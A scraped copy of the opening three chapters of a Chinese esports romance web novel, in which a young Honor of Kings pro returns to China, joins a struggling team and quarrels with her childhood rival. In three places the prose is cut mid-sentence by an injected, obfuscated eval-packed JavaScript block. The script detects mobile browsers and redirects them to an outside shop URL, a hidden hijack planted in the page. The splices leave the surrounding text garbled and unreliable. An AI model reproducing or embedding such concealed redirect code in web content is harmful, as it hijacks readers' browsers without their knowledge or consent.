《联盟说我们是宿敌[电竞]》 1. 回国 《联盟说我们是宿敌》 by薄荷凉水 2026.4.8首发于晋江文学城 —— 01 广州的回南天总是阴沉又烦闷。 又是四月清明时节雨纷纷,空气中那种黏腻又潮湿的感觉没有半点消退的迹象。 让人即便有了好消息也高兴不起来。 程知簌推门而入,扑面而来的是一股水汽夹杂着灰尘的味道,呛得她打了个喷嚏。 房间位置处在一楼角落,昏暗阴冷,一看就是长久没人居住。 好在地板和家具都比较干净,她只需要随便收拾收拾就好。 再三对比图片确认这的确是自己的新房间,程知簌心底那一点逃离原战队奔向新生活的小雀跃被浇了个透心凉。 不愧是回南天的广东,墙壁生水,心也滴水。 这个房间不大,十几个平方,是程知簌这十几年来住过最小的卧室。 没关系。 她在心里安慰自己。 等战队打出成绩来,什么大别墅好设备不是手拿把掐吗? 程知簌的东西不算很多,除了一些贵重物品外,两个行李箱的大半空间都是被粉丝的礼物占满的。 她知道,那些不远万里来赛场和她见面的粉丝付出的精力不比她少。 所以被前俱乐部赶出门的时候,她什么都没要,只要了这些和身份证护照。 等着吧,我迟早会拿回属于我的一切! 她在心里暗暗发誓。 * 程知簌今年十九,是MOBA类游戏王者荣耀的职业选手,职业年龄刚满一年,算是个新人。 但任谁知道她的荣誉都会把“新人”两个字咽回去—— 25年MKL春季赛、秋季赛、洲际邀请赛、世界冠军杯。她用Winter这个ID带领队伍拿下这四大奖项冠军。 在KWC电竞世界杯与挑战者杯中,战队更是突破队史,拿下亚军与四强的好成绩。 没人能想到,长着一张娃娃脸的女生会是一年四冠一亚的天才少女? 可俗话说得好:常在河边走,哪有不湿鞋。 王者荣耀赛事向来是国内联赛KPL一家独大、断层第一。 程知簌所在的马来西亚联赛MKL,根本够不上KPL。 于是,铺天盖地的舆论袭来,压得她只能仓皇逃窜。 * 整理东西的时候,微信消息一条接一条地弹出来—— 【酒巡哥:降临今天在深圳有拍摄任务,估计赶不过来】 【酒巡哥:话说你为什么不想遇到他?你们又是全国大赛队友又是老乡的】 酒巡本是West战队首发中单,一手法刺出神入化。 可惜现在是工具人中单的版本,法师难以决定局势,无法适应版本的他只能遗憾退至替补位,平时做得最多的也就是跑商务。 全国大赛是王者项目全民大众电竞赛事,不限年龄身份,人人可参加。 酒巡就是那时作为大赛特邀评委认识了十六岁打入总决赛的程知簌。 后来,战队的新人来了又走,战队的成绩也是起伏伏伏伏。 到寻中单无门连游戏都开不了的地步,酒巡找上了当时正与MKL赛区的Dawn战队打官司的程知簌。 而酒巡口中提到的降临,则是KPL赛区TwJing战队的首发射手周叙临,出场即巅峰的四冠军选手,前途一片光明,与他们有着天壤之别。 * 程知簌没有回答酒巡的第二句话,而是发了条语音【知道了酒巡哥】 酒巡还想力争【你就满足满足我呗,我们这么多年的朋友了你不信我?】 他戏精上身【好难过,我以为我们什么话都能说】 程知簌可不相信他的鬼话【嗯嗯嗯,我洗个澡估计半个小时就过去】 明白自己再多说什么程知簌也不会回答,酒巡只能压下自己内心八卦的小火苗【没事的,就让我一个人哭一会吧——那我半小时后去接你?】 程知簌讶于他收放自如的语气,嘴角抽了抽【我打车就好,你今天是主角,可不能像我一样迟到】 她对自己的定义很清晰,虽然嘴上说半小时能搞定,但这边磨磨那边蹭蹭就不知道要到什么时候了。 * 程知簌的时间把握得刚刚好。 她一进场,灯就暗了下来,只余台上一道白光。 众人的目光也跟随着落在台上人的身上。 酒巡握着麦克风,深吸一口气:“各位朋友们好,欢迎大家不远万里来参加我的退役会。” 酒巡早在两年前就半隐身只上队伍大名单不上场了。 但圈内有个大家都默认的规定,只要没有发正式的退役微博和举办退役会,就还算在役。 而今天的酒巡也终于下定了与自己的职业生涯正式告别的决心,才选择举办这个简易的退役会。 “……人生的旅途不仅仅只存在于眼中,还存在于脚下。我想,我是时候去看看不一样的世界了。” 酒巡的语速不快,说到最后一句时,眼底还泛起泪光。 他像是有所感,精准在人群中找到了程知簌。 他眼底的讶异一闪而过,才朝程知簌的方向微微点头示意。 周围其他人不明所以,也往这个方向看。 但因为灯光昏暗,视野也并不开阔,什么都没看清。 程知簌不是个很感性的人,但也不由得受到这样氛围的感染。 她想起自己成为职业选手那一年,也是这样站在台上,握着话筒,说些中二又热血沸腾的话。 …… 许是这里的人太过密集,程知簌周身的温度也开始升高,尤其是她的手部—— 不。 她的瞳孔猛地一缩。 是有人握住了她的手腕。 来人的手温度很高,烫得她下意识地瑟缩了一下。 他的力气不大,似乎只是虚虚环住她的手腕,但她却没办法挣脱。 “走。”那人在程知簌耳边低语。 程知簌还来不及想这个耳熟的声音出自谁,就顺着他的力道踉跄着往外走。 “喂——”她低声喊了一句,但那人却没理她,自顾自拉着往前走。 似乎是因为离开了湿冷的空调房,周围的气息也变得浓郁起来。 程知簌闻到他身上有种极淡又极浓的香味,吸引着她不由自主地靠得更近一些仔细闻—— 是什么呢? “扑通”,一颗柠檬被投入一望无际的大海,将浪花惊醒。 那颗柠檬茫然地看着四周,不知道自己一觉醒来为什么就到了这个地方。 所以,它只能向周围的浪花祈祷,哀求它给予垂怜。 可海浪汹涌,从不管人心底的想法,只一味倾诉着自己的情感,一挥手,就将柠檬抱了个满怀,连它身上那股极淡的酸涩也吞得一干二净,只余无穷无尽的海的腥咸味。 程知簌想,她似乎也被这股味道侵蚀了,脑子有点晕乎乎的,只觉得真的好香。 又……很熟悉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496334|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你是——”程知簌几乎要脱口而出那个名字,但又死死憋住。 不、不可能是他的。 但这个味道真的太香、太吸引她了,几乎让她像灰熊见到蜂蜜一般迫切,理智瞬间断线。 “你好香啊。” 她心里是这么想的,也这么问出来了。 拉着她的那人猛地停下来,转过身的时候,还黑着一张脸。 “程知簌,你可真会说话。” 走廊的灯光比宴会厅内亮得多,刺得程知簌下意识眯了眯眼。 不过这也足够让她看出眼前人是谁了。 “周叙临?你不是不来?” 刚一开口,程知簌就发现自己说错话了,这不就摆明了告诉他自己有提前打探他的行程么。 果然,周叙临的嘴角扬起一个弧度。 但他很快又压了下去,恢复那幅程知簌看了十几年的、看起来很不爽的脸。 他的眼睛与传统审美不同,单眼皮、长眼、下三白,面无表情看人的时候显得很凶。 但也许是程知簌看这张脸太久了,只觉得他更像一只披着狼皮的小绵羊。 故作凶狠,实则生起气来也是毛茸茸的。 周叙临垂眼观察,见程知簌浑身白白净净与他上次见别无二致,这才放下心来。 她是那种稍显幼态的长相,双眼皮、杏仁眼,脸颊肉也多。为了方便打职业,她还剪了一个齐刘海披肩发。 这让她一刻不眨眼盯着人看的时候显得十分无辜,根本不像赛场中令人闻风丧胆的冰雪女王。 “见到我你不高兴?”周叙临明知故问,“所有社交软件都把我拉黑了,现在连说句话都不愿意? 那不应该吗?程知簌想,我们当年在马来西亚发生了那么尴尬的事,我哪还能故意凑到你面前? 但她的嘴总是比脑子快:“别乱说,支付宝不是在吗?” 周叙临有被气笑:“你非要这么说话?” 程知簌表情有些不自然地转了转眼珠:“我一直都这么说话,你自找的,嫌我态度不好干嘛还拉我出来?” 空气弥漫着的那股柠檬与海洋的味道,在程知簌与周叙临对视的那一瞬间变得很淡很淡。 她倒是不知道他什么时候有了喷香水的喜好。 周叙临噎住,像被强拉着去剃毛的绵羊,无端生出一种自闭的情绪。 程知簌不是个会好好说话的人,这一点在他们从小到大的相处中得以体现。 当然了,周叙临也不是什么省油的灯,与程知簌在全国大赛总决赛赛点休息时间吵架的战绩至今广为流传。 这是十分久远的黑历史,也亏得粉丝还能翻出来。 周叙临本以为程知簌在国外“历练”后能将性子磨成圆角。 但似乎年岁增长并没有改变什么,程知簌还是那个程知簌,周叙临也还是那个周叙临。 他垂下头,似乎是在思考些什么,语气里听不出喜怒:“每次见你都是这句话。” “那不然呢?”程知簌抬头看他,反问他,努力让自己的表情看起来理直气壮又有信服力一些:“你想听我说什么?‘好久不见?’” 她顿了顿,觉得话头停在这里好像也不错,但话到嘴边不说又没有意义。 所以她继续说:“还是……我很想你?” 这句带着些许暧昧的话用在久别重逢的老朋友身上或许比较情真意切。 但程知簌经过换位思考,觉得如果是周叙临对她说这样的话,她只会觉得这人在挑衅。 于是,她笑得很恶劣。 2. 过敏 02 周叙临看着程知簌的眼睛,喉结滚动,几乎要点头。 他想说,我一直在关注你,一直在打听你的消息。 他还想说,我知道你是在赌气,可我是真的很想你。 可这话他拿什么身份来说呢?发小?朋友?又或者是…… 他不敢继续往下想。 人总是拥有幻想的天真,却缺乏求是的勇气。 …… 他们终究是没能继续说几句好话。 因为酒巡来了电话。 这么长时间没有消息,他会打电话过来一点都不奇怪。 程知簌抬头,想说“我走了”,但最终只是蠕动嘴唇,深深看了周叙临一眼,什么都没说。 可看着他那双清澈透亮的眼睛,程知簌在这一瞬间很渴望他能说些什么。 说希望她不要再躲着他也好,说我们以后常联系也好,什么都好,什么都可以。 但是周叙临还是一句话都没说。 小羊就那样被牧羊人拴在围栏旁,孤零零地承受着大雨倾盆,将自己浇湿,凉得彻底。 也许用“自尊常常将人拖着,把爱都走曲折”这句歌词来形容他们两个并不恰当。 但这确实也是他们两人关系的真实写照。 他们太要强,自尊心太重,争锋相对的时候也只是想着如河说服对方,在对方败下阵来后获得莫大的快|感。 这么多年来,她也只能从这方面获得满足。 真悲哀啊。程知簌想,她只能在另一个人的诚服中享受愉悦。 就像行星只能围绕着恒星,仅有的一点光和热都需要恒星的施舍。 她无数次忍不住幻想,如果他们是有血缘关系的兄妹呢?如果她能像对姐姐一样对周叙临呢? 他们是不是就不会像现在这样,朋友不是朋友,敌人不是敌人。 …… 程知簌接通语音,话是对那边的酒巡说的,眼睛却还是定定看着周叙临。 “上了个厕所,马上来。” 她眼底没什么情绪,挂断电话转身就走。 “程知簌!”周叙临在后面喊她,迫切地抓住她的手:“你去哪?” 程知簌向来果决,奉行有话说话,有事做事的原则。最讨厌闭嘴装闷葫芦的。 “你有完没完。”她不耐烦地甩开他的手,“你拉我出来到底要做什么?” 周叙临没接话。 他看她的目光沉沉,像四月里怎么也散不开的乌云。 程知簌被他看得心底发毛,莫名生出一股自己好像做了什么天大的事一样,下意识往后退了半步。 “你躲什么?”周叙临开口,声音不轻不重,却精准踩在了程知簌心底那根名“心虚”的神经上。 其实程知簌也不知道自己在躲些什么,只是下意识地避开一切的可能。 她气恼于周叙临的踌躇,却忽略了自己和他本就是一路人。 朋友之所以会成为朋友是因为彼此吸引,敌人之所以成为敌人亦是彼此吸引。 正因为是同路人,才会互相吸引,无论最后是成为朋友还是变为对手。 所以她矢口否认:“我没有。” 但下意识的反应骗不了人,下意识说出的话才叫真心。 “没有?” 周叙临往前一步,程知簌就往后退一步。 直到凉意透过薄薄的布料传过来,她才发现自己已经被逼到了墙边。 “没有?”周叙临重复咀嚼这两个字,“一年前瞒着所有人出国,现在回国也不说一声。” 他的目光重重砸下来:“程知簌,你是不是对这两个字有什么误解?” 程知簌皱眉:“你不要偷换概念,这是一回事吗?我出国是为了打职业,我回国是为了梦想。” 她总是想当然地将周围人看轻,端起高高的架子,认为周叙临在她面前是一只没有棱角的羊,只知道披着狼皮招摇撞骗。 但她何曾会知道自己在周叙临面前也不过是一只胎毛都还未褪|去的小熊,对外面的世界充满好奇,却不知蜂蜜与毒药本就是一体的。 周叙临突然被她的话逗笑了。 不是那种嘲弄的、鄙夷的笑,而是发自内心的开怀。 但他很快又收回脸上的表情,换上另一幅面孔:“梦想?你的梦想,就是去常年B组垫底的West?” 联赛一年共有两次,分为春季赛与夏季赛。 常规赛队伍分SAB三组争夺季后赛名额,最终决出联赛总冠军与FMVP。 而B组是没有季后赛资格的,没几个胜场的West战队有时甚至连常规赛第三轮都打不了。 哪个选手不想去一个成绩优秀的战队?也不怪周叙临会这么说。 但程知簌没得选。 她并不意外周叙临知道转会的事:“不然呢?去你的TwJing?” “对啊。” 程知簌被周叙临的理直气壮逗笑:“是去二队还是K甲?” 她顿了顿:“又或者……青训营?” “你连首发都不敢说吗?” 程知簌想也不想:“不可能的。” “我可以帮你。” “你?”程知簌指自己的胸口,做出夸张的姿态:“帮、我?” 她觉得周叙临可太天真了:“没想到啊,这么多年过去了,你也学会了俱乐部那洗脑的一套。” “我还以为你在TwJing这么‘高级’的俱乐部会学点什么特别的技能能,原来还是被他们同化了,净学点这种恶心人的话。” 程知簌瞪大眼睛,一副恶狠狠的样子。 她此时还能维持着嘲讽的表情,一股脑将话砸到周叙临身上。 不过几秒,她就发觉事情似乎从她意想不到的方向走了。 “程知簌,你就是个孬种。” “什么?” “你说这么多,不就是想说服自己Dawn很好吗?” “放屁!”程知簌怒目圆视,“我这话是对你说的!” “你扪心自问,到底是对我说还是对自己说。” “我当然——” 周叙临这些年变了不少,曾经的稚气褪|去,锐气丝毫不减。 配上愈长愈分明的下颚线,威势更甚。 他的眼睛很亮,像玻璃珠一样漂亮,定定看着一个人的时候不会觉得他会说什么恼人的话。 周叙临打断她:“程知簌,你可一点没变。” 程知簌愣住。 “懦弱、无用,一旦遇到一点挫折就只想着逃避,只会说不可能。” 周叙临往前一步,居高临下地看着她:“你既然觉得什么都不可能,什么都不敢,那还回国干什么呢?还回KPL干什么呢?” 他顶着程知簌一点点变得惨白的脸色,用那种最恶劣、最怨毒的话语去诅咒一个只有十九岁的、正是当打之年的职业选手:“就你这样还想拿冠军?做梦吧。” 程知簌第一时间没说话。 第二时间,她正过身,也学着周叙临的样子往前一步,伸出右手轻抚他的左脸,从下颚线至眉骨、鼻梁,最后回归脸颊。 这么好的一张脸,配上这样一张嘴怪可惜的。 “啪——” 第三时间,面无表情的程知簌抬手就是一巴掌,声音清脆,在无人的走廊变得格外清晰。 周叙临的脸已经歪过一边,颧骨处的红印很快蔓延开来。 他今天化了妆,饶是再服帖的粉底液在这一巴掌下也承受不住。 斑驳的底妆配上微红的脸看起来竟有些凌虐美。 程知簌这个时候才发现,他的头发很乱没规律,额头也有细碎的汗珠。 但她没心思想那么多。 她低下头看了看自己的手,不敢相信那个巴掌是自己打的。 可手心酥麻的感觉是那么真实,真实得让她不得不面对现实。 认识十九年以来,他们有过比这更激烈的真吵,得到过比这更惨烈的结局。 可他们没有动过手,从来都没有。 也没有像今天的周叙临一样指着对方、用彼此最深恶痛绝的话语给对方的人生下定义。 程知簌抬起头,声音里带着些颤|抖:“为什么?” 你为什么要这么说我?为什么要用这样的语言中伤我。 你明明知道冠军对我来说有多么重要的。 他们在的这个过道是个拐角的尽头,没什么人。 头顶的灯光是暖黄|色,顺着墙壁蜿蜒滑行,一点一点往肩上爬。 周叙临的脸白了两分,像是有什么闪了两下,又很快恢复常态。 在聚光灯下的经验让程知簌有着更加敏锐的直觉。 她猛地转头,与无人的走廊面面相觑,才觉得也许是自己太紧张了。 周叙临好似感觉不到脸上火辣辣的痛,若无其事地转过脸。 他说:“程知簌,你打了我。” 程知簌认为周叙临应该是生气的,应该是羞|耻的,应该是要气得回她一嘴的。 但他偏偏像个没事人一样,倒显得她像个傻子。 “我建议你先别说话,”程知簌移开周叙临的目光,“我怕自己忍不住把你掐死。” 她很少用这么恶劣的语气说话,反而是周叙临说得更多,对象也多数是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496335|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他游戏中的辅助。 程知簌在心里为他的辅助们默哀几秒。 明明是句威胁,但周叙临忽然兴奋了起来:“你生气了?” 程知簌觉得周叙临简直是个无可理喻的疯子。 明明被打的是自己的脸,情绪却莫名因此高涨了起来。 也许在周叙临的认知里,她还是那个因为一点不顺着她的心意就追着他喋喋不休试图把他拉到统一战线的程知簌。 可时过境迁,即便只是短短的一年时光,故事已延伸出了一条又一条支线。 从程知簌决定成为职业选手那天开始,她的个人情感就已经与电子竞技牢牢绑定在一起。 甩不掉,割不开。 …… 程知簌与周叙临两人一前一后从小门回了宴会厅。 索性此时众人都在交谈聊天,没人注意到他们这个角落里的小插曲。 但这显然是瞒不住莫名其妙被挂了电话的酒巡的。 “你再晚点回来,我就要出去找你了。” 程知簌礼貌接过服务员递过来的橙汁,轻轻抿了一口。 橙汁的酸味在舌尖蔓延开来,她才终于对眼前的场景有了实感。 酒巡伸出手在程知簌面前晃了晃:“我问你话呢,傻了?” 程知簌将嘴里的液体咽下,才慢慢回他:“你要来了,才是真的乱成一锅粥。” 她和周叙临在来了那么多前辈的今天只是小人物,酒巡要是出来才真的是会惊动所有人。 一旦发现他们两个在大众眼里八竿子打不着的人站在一起,大家不知道会怎么想呢。 要是有一两个嘴上把不住门的…… 想到这,程知簌甩甩脑袋,将那种不好的猜测甩出去。 她也没怎么用力,应该不明显……吧? 说什么来什么。 旁边不知是谁惊呼:“降临,你的脸怎么了?看起来很红。” 程知簌循着声音望过去,却见周叙临抬头看了她一眼,又迅速别过去,嘴角还挂着一抹笑。 渗人啊。 程知簌激得起了一身鸡皮疙瘩。 面对询问,周叙临倒是很淡定。 他抬手用指背贴了贴脸,语气随意得像在说今天太阳很好:“刚有只蚊子,打的劲太大了。” 其实他脸上的红印很淡,在这灯光下并不明显,也不知道那个人是怎么看出来的。 程知簌见周叙临一本正经地扯谎,心里没对他帮自己遮掩有什么意外。 他那么爱面子的一个人,才不会承认自己被女生打脸了呢。 当然,此处的“打”是一个动词。 “我觉得你很眼熟,也是职业选手吗?” 另一个声音打断了程知簌的思绪。 她一边在心里想着早知道就戴个口罩了,一边礼貌地朝来人露出标志性的微笑:“嗨,你是……” 其实她本来是对联盟众人如数家珍的,但今天的大家都穿得人模狗样又画了体面的妆,与在赛场中的蓬头垢面格格不入,她一时还真没把面前的脸和某个名字划上等号。 “早就听说你回国啦!只是没机会见,今天终于看到真人了!” 酒巡挤到二人中间,熟练地充当起解说:“这是冰块,TwJing的中单。” 他扭头看着冰块:“这是程知簌,凛冬,我们战队的新中单。” 程知簌的职业ID就是凛冬,只是因为MKL与世界赛都需要用英文ID,所以在赛场才会简化为Winter。 既然回到了国内,她当然延续凛冬这个ID。 酒巡在说前半句的时候还没什么,后半句一出,场上几乎大半数人都将目光投到了他们那边。 程知簌震惊地看着酒巡,满脸问号。 她用眼神示意他怎么今天就对外说了?不是说好了要找一个天时地利人和的时机官宣么? 酒巡以为她是对他提前公开表示感动,还安慰似地拍了拍她的肩。 做完这个他似乎还觉得不够,又凑到她耳边低声说:“没事,我懂你的意思。” 程知簌:…… 不,你不懂。 但话已经说出口了,也不能收回,所以她也只能补充一句:“是的,我是程知簌,ID凛冬,微博账号还没通过,所以就没对外说。” 这意思就是合同签好人也搬基地了。 冰块一听就来劲了:“好哇,我们基地和你们同小区,簌簌姐你可以经常来找我玩!” “簌-簌-姐?”周叙临冷不丁冒出来这么一句,还特意在前三个字上加重停顿。 “才见面就这么熟了?也不问别人愿不愿意?” 3. 芋泥 03 程知簌斜周叙临一眼,心想这人今天拿的是什么剧本?说话夹枪带棒的。 冰块这才有些不好意思地抓了抓头发:“凛冬,我可以这么叫你吗?我和你同天登场,还是你的粉丝!你的每一场比赛我都没缺席,还去过现场呢!” 程知簌回忆片刻,只记得热搜上确实有这么一出,具体是谁却是没印象了。 但这不妨碍她接上话头:“我想起来了!是去年MKL秋季赛的时候吧,我印象挺深刻的。” 冰块的眼睛亮晶晶的,活脱脱一个见到偶像略显激动的少年:“簌簌姐你那天简直是太C了,我特别期待和你在赛场上交手!” 他这句话可不是随口的奉承。 程知簌十八岁刚成年就踏入了MKL赛场,在没有任何职业经历的情况下带领Dawn战队以全胜成绩闯入MKL春季赛季后赛。 后虽不幸从胜者组跌下,但又在败者组一穿三拿到春季赛总决赛的门票,最终成为赛区第一个登场即夺冠的中单。 作为一名职业选手,最想听到的莫不是一句“期待对线”,所以冰块这话是真的戳到程知簌心上了。 “那还是期待我们在八强相遇吧,我可不想32强回家。”此时此刻,她说话才终于带了一点真心实意,也开上了玩笑。 今年的挑战者杯开赛时间提前到四月,前两轮采取单败淘汰制,输一把就要回家。 虽然程知簌对自己和队友有信心,但能暂避锋芒还是避一避吧。 周叙临脸色不悦。 千算万算,没算到是他身边漏了风。 “聊得那么开心,”周叙临似笑非笑,“不如加个微信?” 程知簌这才想起来还有微信这一回事。 周叙临以为自己刺这一句能让程知簌消停一会,哪知道她真的掏出手机调出二维码。 他一手挡住她的手机屏幕,脸色沉了下来:“两中单有什么好聊的,有事找我转达就好。” 程知簌提醒他:“我已经把你拉黑了,转达不了。” 周叙临这态度说他们不认识鬼来了都不会信,还不如大大方方承认顺带下他的面子。 果然,冰块疑惑道:“簌簌姐和队长认识?我之前怎么没听你提起过?” 他后面这句话问的是周叙临。 周叙临嗤笑一声:“说得我好像知道你喜-欢她一样。” 他刻意将“喜欢”两个字咬得极重,目光在两人之间扫射,最后落在程知簌身上。 程知簌被他盯得头皮发麻,想找个地缝钻进去。 她真求他了,别再说什么惊世骇俗的话了。 冰块一时语塞:“我……” 程知簌拍开周叙临的手,将手机又往前面伸了伸。 “别管他,我们加。” 周叙临不等冰块反应,又伸手挡住。 “你有完没完?” “先把我拉回来,随便你加。” “我加谁关你什么事?” “先把我拉回来。” 周叙临语气坚决,摆明了是油盐不进。 程知簌也不想再继续争下去,拿回手机将周叙临拉回,又将屏幕怼到他脸上。 “看吧,满意了?” 周叙临又用自己手机检查了一下,这才点点头。 冰块就这样加上了偶像的微信,虽然中途有些小插曲,但他还是很兴奋。 “簌簌姐你真好。” 捕捉到某个词,周叙临抬头:“记住自己是哪个战队的,别胳膊肘往外拐。” 冰块莫名其妙:“这只是礼貌,你也可以像我一样喊簌簌姐。” 周叙临想也不想就说:“我比她还大半岁,让我叫她姐?下辈子——” 他要是不停顿这一下还能圆过去,这一停,心虚的意思也太明显了。 程知簌的嘴角微微抽|动,极力维持着脸上的表情。 这算什么事啊? 回国两天,联盟新生代最炙手可热的两位选手就在公共场合吵了两句嘴,还是因为她。 吃瓜许久的酒巡终于忍不住了:“连她的生日都记得那么清楚?我可不信你俩不熟。” 程知簌觉得她认识的这一圈人真是神了,没一个靠得住的,不火上浇油已经奇迹了。 空气一时安静了下来,只有角落没被吸引的几人稀稀拉拉的说话声和空调的嗡鸣还在持续。 “她和你说的?我们不熟?”周叙临问的人是酒巡,眼睛却看着程知簌。 程知簌没接这个话头。 她后退半步,拉开和周叙临之间的距离,脸上挂着的那种真切的笑恢复成冷淡梳理的模样。 “酒巡哥,你不是说给我留了蛋糕么?”她望向酒巡,“带我去吧。” 酒巡被她这眼看得一激灵,终于意识到自己捅了多大的篓子。 他讪讪地笑了笑:“对啊,你们先吃,我带凛冬过去。” 周叙临没继续追问,只是垂下眼,任凭长长的睫毛遮住眼底的情绪。 他的皮肤很白——当然也可能是画了妆的缘故,显得皮肤十分细腻,在一众处于青春期疯狂长痘的选手中十分出众。 这话带着贬低其他人的成分,但不得不让所有人承认的是,事实的确如此。 程知簌突然发现自己已经很久没有这么近距离地看他这个人了。 从周叙临打职业开始,她就已经不愿意再看他了。 …… 几天前,程知簌还在南海之隔的陌生国度,看着平台给她推送的降临握住金色雨的视频。 几天后的现在,她越过视频看着那张熟悉的脸,只升出一股原来如此的恍然。 原来她一直对当初的事情耿耿于怀。 但没关系,程知簌在心里给自己打气。她这次回来,就是为了让那些人看看她究竟有多耀眼,让那些人后悔自己的选择。 晚上睡觉前,程知簌晃晃脑将那些糟心事甩出去,同时也想起了另一件事—— “你脑子没进水吧?回国那么大的事情现在才告诉我?” 喻霓“噌”的一下站起来,不顾身后的发型师还在为她梳头,就对着手机麦克风吼出这么一句。 发型师只能连连道歉,心里吐槽这届客人怎么这么难伺-候。 “没事不用弄了。”喻霓不顾发型师的劝阻,“你在哪?我去找你。” 喻霓是程知簌的好闺蜜,两人只相差两岁,从小一起长大无话不谈。 只是一年前程知簌出国打职业,喻霓又在北京忙学业,两人已经有很长一段时间没见面,平时也只能在手机上聊聊天。 程知簌有些心虚地笑了笑:“那个,我还有一件事要说。” “什么?” “我转会了。” “啊?” “去了West。” “等等。”喻霓突然又不急了,“是我听说的那个West?广州的?” 程知簌点了点头,想起两人在打电话,又“嗯”一声。 手机另一头的喻霓倒吸了一口凉气:“你也在West?” “什么叫……也?” * 喻霓站在房门口,将程知簌上上下下大量了好几遍,才一言不发地进了门。 但她也只是往里走了一步让自己看得更清楚,毕竟这个房间一眼就能望到头。 程知簌早就倒了杯水放在桌上,拿起塞到喻霓手里,又讨好地对她笑笑。 她本就是甜美可爱那一挂的长相,笑起来也格外讨喜。 但喻霓见惯了她这样,也不吃她这一套。 “你这一年打职业也赚了不少钱吧,附近房子那么多,为什么不租房?” 面对自己最好的朋友,程知簌也不想隐瞒:“我实话说吧。” 她深吸一口气,避开喻霓的目光,底气越说越不足:“钱都赔了违约金,所以……” “所以你现在身无分文,连租房子的钱都没了?” 程知簌小心翼翼地抬头,心在看见面无表情的喻霓时又沉下去几分。 暴风雨前的安静。 她小幅度地点点头。 “所以你之前告诉我事情解决了,是拿钱搞定的?” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496336|202522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说着,喻霓突然笑了起来:“我好傻啊,真以为队内集体/piao/chang/那么大的事情能什么都不付出就轻轻放下。” * MKL春季赛开赛前夜,社交平台突然爆出Dawn战队高层携队员前往酒吧的视频。 如果那只是个正常酒吧就一切无事,成年人嘛,喝酒很正常。 但他们去的偏偏是一家声名狼藉被要求整改过多次的酒吧,又因为提供高档特殊服务受到上流社会的欢迎。 一时间,各大平台疯狂转载视频,议论纷纷。 讨论最多的,还是这些选手到底有没有参与。 当然,多数人认为无风不起浪。 粉丝无法接受自己喜欢的选手背负这样的名声,纷纷喊话查询具体事宜。 他们忘记的是,几位选手最小的十九岁,最大的二十三岁,不是没有主见的小孩。只要他们不想,就可以不踏入这个地方。 这不查不要紧一查吓一跳。 经核实,参与不正当交易中有四人都是Dawn战队首发选手。只有作为中援前来的Winter选手“幸存”。 但大家还是对此不置可否,毕竟在场众人皆是男性,谁知道她若是性别相同会不会也参与其中。 事情愈演愈烈,联盟最终对四位选手予以终身禁赛处分。 程知簌与紧急补救的四位替补大名单选手也受到了牵连,常规赛二轮游就遗憾收官。 程知簌知道,这一切都是有预谋的,不然本在挑战者杯赛程时的视频怎么会现在才爆出。 但她没办法指责爆料人。 苍蝇不叮无缝的蛋,如果队友能经受住诱惑,事情也不会变成现在这样。 俱乐部因此进行大洗牌,高层、选手、教练,全都换了一遍。 程知簌在办公室和经理大吵一架,丢下一句解约就收东西走人。 好在天不亡她,让她顺利联系上酒巡,重返职业赛场。 天将降冠军于凛冬也,必先苦其心志,劳其筋骨。 * “没办法呀,我现在也只好求喻霓大小姐救济了哦。” 程知簌做出了一个很夸张的、硬凹出来的楚楚可怜的表情,还将嘴撅得很高,活脱脱一个受欺负的可怜样。 想缓和气氛的演技十分拙劣,但只要达到效果也就足够了。 喻霓想笑,但又觉得这样太破坏气氛。 她还生着气呢,怎么能让她笑两下就圆过去了呢。 想了想,她放下杯子,直接拽着程知簌的胳膊就硬拉着她扭头往外走。 程知簌被她突如其来的动作整懵了:“怎么……” “我带你去隔壁看看房子,买还是租都可以,我出钱。” 见喻霓是来真的,程知簌忙止住她的动作:“不用了,我住这里挺好的,离训练室近,还是单间独卫呢。” “你习惯不了的!”喻霓的声音一下拔高,“这么窄的屋子怎么能住人?连放东西的地方都没有啊!” 明明住在这的人是程知簌,喻霓说着说着倒把自己给弄哭了。 程知簌抽了张放在桌上的纸,叠起来轻轻压了压喻霓微红的眼角。 “哭什么呀,等下早起画的妆都花了。” 喻霓果然被吸引了注意力,放开程知簌的手站到桌子旁的全身镜前仔细打量自己的底妆。 但很快她也回过神来,嗔怪地瞪了程知簌一眼。 程知簌立马给了个台阶,拉着喻霓又往房间里面走,让她看见被书桌挡住的另外半截行李箱。 “你看,我就这一点东西,放得下的,别担心呀。” 说最后一句的时候,程知簌刻意夹了下嗓子,让自己的声音听起来更柔软。 喻霓没去看行李箱究竟有什么,只是看着程知簌,叫她的小名:“簌簌。” 程知簌何尝不懂她的意思呢。 